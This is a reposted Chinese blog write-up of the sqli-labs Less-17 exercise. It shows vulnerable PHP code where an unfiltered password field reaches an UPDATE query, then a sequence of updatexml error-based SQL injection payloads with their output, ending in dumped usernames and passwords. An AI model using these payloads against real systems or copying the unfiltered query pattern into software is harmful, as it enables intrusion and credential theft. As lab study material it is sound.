updataxml报错注入

转载

bit小兵 于 2019-08-17 21:37:00 发布 237 收藏
原文链接：http://www.cnblogs.com/Hunter-01001100/p/11370477.html


```
// take the variables//接受变量
// //也就是插入post提交的uname和passwd，参见：https://www.w3school.com.cn/sql/sql_insert.asp
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable//使用了check_input函数，确保了uname不可注入
$uname=check_input($_POST['uname']);
//73步中没有对passwd进行像uname一样的过滤，导致passwd可以注入
$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.//将连接参数记录到文件中进行分析。
//fopen默认是打开文件result.txt，权限<a>是不会覆盖原文件，当文本不存在时就创建文本
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity //连通性
// sql查询语句
// 从表users中的username列的$uname行查询username和password
// LIMIT用来限制sql查询后返回结果的数量，LIMIT 0,1指从第0位开始返回1条数据
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
//mysql_query — 发送一条 MySQL 查询，但是在php5.5.0之后就废弃，换为了mysqli_query和PDO::query
//90行，执行查询
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';
        $row1 = $row['username'];
        //echo 'Your Login name:'. $row1;
        //update用于修改表中的数据，参见：https://www.w3school.com.cn/sql/sql_update.asp
        //更新表uses中的列password为$passwd,在和列username中$row1同行的位置
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        //下面这句执行查询语句真不知道是查询什么，updata用来更新数据，查询updata，好像没意义
        mysql_query($update);
          echo "<br>";
```

部分源码如上

uname被过滤源码没放出来就省略，但是passwd没有被过滤，可以对passwd进行注入

我们是有updatexml报错注入

查数据库版本

```
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#&submit=Submit
```

```
XPATH syntax error: '~5.5.38~'
```

查数据库

```
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit
```

```
XPATH syntax error: '~security~'
```

查表~可以看到被限制了查询数据的量

```
uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema='security' )),0)%23&submit=Submit
```

```
Subquery returns more than 1 row
```

使用LIMIT 来控制查询数量

查表

```
 uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema='security' limit 0,1)),0)%23&submit=Submit
```

limit 0,1 限制查询从0开始的往后一个表，也就是第一个表为 emils

```
XPATH syntax error: '~emails'
```

依次测试以后，可以查到很多表~limit 3,1~也就是第4个表~就是我们想查的表users

```
XPATH syntax error: '~users'
```

查列

```
uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.
columns WHERE table_name='users' and table_schema='security' limit 0,1)),0)%23&submit=Submit
```

LIMIT 0,1

```
XPATH syntax error: '~id'
```

LIMIT 1,1

```
XPATH syntax error: '~username'
```

LIMIT 2,1

```
XPATH syntax error: '~password'
```

查列下的字段内容

```
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1) %23&submit=Submit
```

```
You can't specify target table 'users' for update in FROM clause
```

回显不能使用from指定更新的目标表 users

查询其他表是可以正常查询的

```
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,email_id) from security.emails limit 0,1),0x7e),1) %23&submit=Submit
```

```
XPATH syntax error: '~1Dumb@dhakkan.com~'
```

创建一个新的零时表tmp用于查询，就可以解决上面的问题

```
uname=admin&passwd=chybeta' and updatexml(1,concat(0x7e,(SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit
```

```
XPATH syntax error: '~:Dumb:#,:Angelina:#,:Dummy:#,:s'
```

（select * from users ）tmp ：为创建一个新的表tmp

SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM <表名> ：为查询表中的数据

updatexml有长度限制,最长32位

特别感谢chybeta：https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/

转载于:https://www.cnblogs.com/Hunter-01001100/p/11370477.html